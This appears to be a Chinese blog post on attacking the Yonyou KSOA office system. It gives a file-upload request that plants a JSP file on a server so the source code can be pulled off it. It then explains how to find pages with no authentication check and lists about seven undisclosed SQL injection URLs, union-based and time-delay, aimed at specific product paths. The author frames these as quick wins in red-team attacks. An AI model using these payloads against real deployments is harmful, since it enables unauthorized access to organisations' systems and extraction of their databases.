用友ksoa十余处sql注入+审计
用友时空oa作为用友一款经典产品,应用较广,作者利用拿权限拖源码后,审计一番原来发现如此多漏洞,这里主要公布一些未公开1day sql及其审计技巧 1.源码 利用文件上传poc,传个马子先 POST /servlet/com.sksoft.bill.ImageUpload?filepath=/&filename=gmtxj.jsp HTTP/1.1 Host: <% out.prin
用友时空oa作为用友一款经典产品,应用较广,作者利用拿权限拖源码后,审计一番原来发现如此多漏洞,这里主要公布一些未公开1day sql及其审计技巧
1.源码
利用文件上传poc,传个马子先
POST /servlet/com.sksoft.bill.ImageUpload?filepath=/&filename=gmtxj.jsp HTTP/1.1
Host:
<% out.println("hello"); %>
拖下来即可,闲鱼上似乎没有这套源码
2.路由分析
ksoa不同于现在大量应用框架的java系统,ksoa使用jsp+servelet模式,但是,这里可以偷个小懒,直接访问jsp文件路由+传参可以调用功能代码,也算是解决路由问题

3.代码审计
鉴权方式,经分析验证,这里使用包含鉴权文件的形式来实现鉴权,可以说给了我们极大的便利,这意味着未授权可以通过检测鉴权文件
有鉴权

没有鉴权

因为是静态代码分析,这里推荐一个软件agent ransack

支持各种正则匹配+字符检测+文件路径限定,gui界面也比较简明
匹配未授权的语句
NOT (<%@ include file="common.jsp"%>) AND NOT (session)
除了鉴权文件,session也得匹配一手

接下来就是挨个在未授权jsp脚本里面找了,因为攻防就是讲究个快打,所以还是推荐有限未授权文件操作+sql注入
这套系统里面前台sql注入比较多,就在筛选出来的文件里面盯着是不是有sql语句
比如这里已经公开的sql

就是没有鉴权文件+sql语句可以审计出来
此外这里还有许多没有公开的sql注入路径
http://ip:port/xxx/kp/PreviewKPQT.jsp?KPQTID=1&KPQType=db_name(),2,3+--+
http://ip:port/xxx/PrintZP.jsp?zpfbbh=1%27+IF(LEN(db_name())>4)+WAITFOR+DELAY+%270:0:2%27+--+
http://ip:port/xxx/PrintZPYG.jsp?zpjhid=1%27+union+select+1,2,db_name(),4,5,6,7,8,9,10,11,12,13,14+--+
http://ip:port/xxx/PrintZPFB.jsp?zpfbbh=1%27+union+select+1,2,3,4,db_name()+--+
http://ip:port/xxx/PrintZPZP.jsp?zpshqid=1%27+union+select+1,2,db_name(),4,5,6,7,8,9,10,11,12,13+--+
http://ip:port/xxx/fillKP.jsp?kp_djbh=1%27+IF(LEN(db_name())>4)+WAITFOR%20DELAY%20%270:0:2%27+--+
http://ip:port/xxx/kp/PreviewKPQT.jsp?KPQType=KPQT&KPQTID=1%27+union+select+sys.fn_varbintohexstr(hashbytes(%27md5%27,%27test%27)),2,3+--+
算上公开的大概十余处吧,这还不算使用servlet路由找的sql,只是这种直接访问jsp找的sql简单,审计也很快,十多处十分钟就搞定了,拿来捡捡漏还是比较方便的。